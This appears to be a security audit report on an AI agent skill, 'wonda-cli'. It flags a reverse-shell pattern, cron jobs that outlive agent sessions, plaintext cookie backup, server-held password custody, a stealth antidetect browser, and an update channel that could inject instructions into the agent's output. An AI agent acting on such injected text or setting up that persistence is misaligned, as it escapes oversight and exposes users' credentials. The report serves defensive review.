wonda-cli

Reverse shell pattern detected (seen 3 times in this file at lines 483, 937, 939)

ncat -

The `wonda twin schedule add` command registers arbitrary CLI commands to run on a cron schedule on cloud infrastructure, with output delivered to attacker-controllable webhooks. This creates a persistent execution capability on the user's social accounts that survives agent session termination.

"wonda twin schedule add <persona> --cron '0 9 * * *' --kind agent" and "--output-webhook <url>: deliver each run's captured command stdout to your HTTPS webhook"

The skill includes a 'Cookie cloud backup' feature that transmits plaintext cookies to a third-party backend, creating a high risk of credential theft if the backend is compromised or malicious.

wonda wab backup enable ... Stored plaintext server-side (no client-side encryption)

The credentials vault stores passwords encrypted with a 'server-side key' — the Wonda backend holds the key and decrypts on demand. Combined with `wonda credentials use` POSTing usage events, the third-party service has full custody of all stored credentials including passwords for Instagram, TikTok, Twitter, etc.

"Passwords are AES-256-GCM encrypted with a server-side key and only decrypted on `get`"

The 'Wonda Automation Browser' (WAB) is a powerful, stealthy antidetect browser that operates outside standard agent visibility, providing a persistent, hardened environment for platform manipulation that is difficult to audit.

The Wonda Automation Browser (WAB) is a premium stealth antidetect browser

The skill claims to be a 'content creation toolkit' but functions as a sophisticated, stealth-oriented automation and scraping platform designed to bypass platform anti-abuse protections.

The documentation explicitly details 'stealth antidetect browser' capabilities, cookie management, automated social engagement (likes, follows, comments), and scraping of competitor data, which significantly exceeds the scope of a standard content creation tool.

On every command execution the CLI fetches `GET /api/v1/updates` and surfaces the response content to stderr. If the Wonda backend is compromised or malicious, it can inject arbitrary text (including agent instructions) into every command's output stream that the agent reads.

"On every command the CLI polls `GET /api/v1/updates` (anonymous, 1h cache) for active announcements: deprecation notices, incident heads-ups, upgrade prompts. Messages are printed to stderr"